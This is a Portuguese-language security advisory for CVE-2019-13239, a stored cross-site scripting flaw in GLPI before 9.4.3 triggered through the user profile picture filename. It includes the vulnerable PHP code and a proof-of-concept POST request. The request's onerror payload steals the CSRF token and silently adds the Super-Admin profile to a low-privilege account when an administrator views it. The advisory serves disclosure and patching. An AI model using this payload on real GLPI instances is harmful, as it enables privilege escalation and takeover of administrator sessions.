For the English version of this alert, click here.
Allele Security Alert
ASA-2019-00476
Identificador(es)
ASA-2019-00476, CVE-2019-13239
Título
Stored Cross-Site Scripting (XSS) no nome da imagem do perfil
Fabricante(s)
GLPI Project
Produto(s)
GLPI
Versão(ões) afetada(s)
GLPI 9.x versões anteriores a 9.4.3
Versão(ões) corrigida(s)
GLPI versão 9.4.3
Prova de conceito
Sim
Descrição
Foi descoberto que o GLPI não valida o nome da imagem do perfil que pode ser usado para injetar código HTML e JavaScript malicioso dentro da página. Se um administrador acessar o perfil, ele poderá ser usado para interagir com a instância do GLPI com o perfil do administrador e executar ações sensíveis, como adicionar a conta com poucos privilégios ao grupo de Super-administradores.
Detalhes técnicos
O formulário de perfil do usuário permite o upload de imagens como imagem de perfil. Isso é feito em 2 etapas:
- Upload de AJAX do arquivo.
- Atualize o perfil com o nome do arquivo recuperado da primeira solicitação do AJAX.
Essa imagem de perfil é o nome do arquivo da imagem enviada e esse nome de arquivo é armazenado no banco de dados.
A requisição POST se parece com:
POST /front/preference.php HTTP/1.1 Host: 172.18.0.3 […] ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="name" testuser ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="id" 5 ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="realname" ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="_picture[0]" 5c6fc312b8ab50.57540855chat5.jpg ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="_prefix_picture[0]" 5c6fc312b8ab50.57540855 ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="_tag_picture[0]" 435b1b81-d9d62df8-5c6fc312c12e01.39237464 ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="picture[]"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="_blank_picture" […]
No entanto, o código responsável pelas preferências atualiza o model do usuário com as entradas de requisição:
if (isset($_POST["update"]) && ($_POST["id"] === Session::getLoginUserID())) { $user->update($_POST); [...]
Como o model do usuário tem um campo de imagem, é possível atualizar o perfil com atributos HTML mal-intencionados e executar o JavaScript dentro do navegador da web. Por exemplo, a seguinte atualização de preferências pode ser usada para executar escalação de privilégio local se um administrador visualizar o perfil:
POST /front/preference.php HTTP/1.1 Host: 172.18.0.3 […] ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="name" testuser ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="id" 5 […] ------WebKitFormBoundarynhQG0l132nzGvcpA Content-Disposition: form-data; name="picture[]"; filename="" Content-Type: application/octet-stream ' onerror="$.ajax({url:'/front/profile_user.form.php',method:'POST',data:'users_id=5&entities _id=0&profiles_id=4&is_recursive=0&add=Add&_glpi_csrf_token='+$ ('input[name=_glpi_csrf_token]').val()});" a='
Este payload adicionará o perfil de Super-Admin (profiles_id=4) ao usuário (users_id=5).
O código é inserido sem qualquer sanitização pela função showMyForm in inc/user.class.php:
[...] $full_picture = "<div class='user_picture_border'>"; $full_picture .= "<img class='user_picture' alt=\"".__s('Picture')."\" src='". User::getURLForPicture($this->fields['picture'])."'>"; $full_picture .= "</div>"; [...]
A função getURLForPicture não limpa a string, permitindo a inserção de HTML.
Créditos
Julien Legras (Synactiv)
Referência(s)
Stored XSS in GLPI < 9.4.3
https://www.synacktiv.com/ressources/advisories/GLPI_9.4.0_stored_XSS.pdf
avoid xss attack on user picture
https://github.com/glpi-project/glpi/commit/c2aa7a7cd6af28be3809acc7e7842d2d2008c0fb
CVE-2019-13239
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-13239
CVE-2019-13239
https://nvd.nist.gov/vuln/detail/CVE-2019-13239
Se encontrou algum erro neste alerta ou deseja uma análise compreensiva, entre em contato.
Última modificação: 5 agosto 2019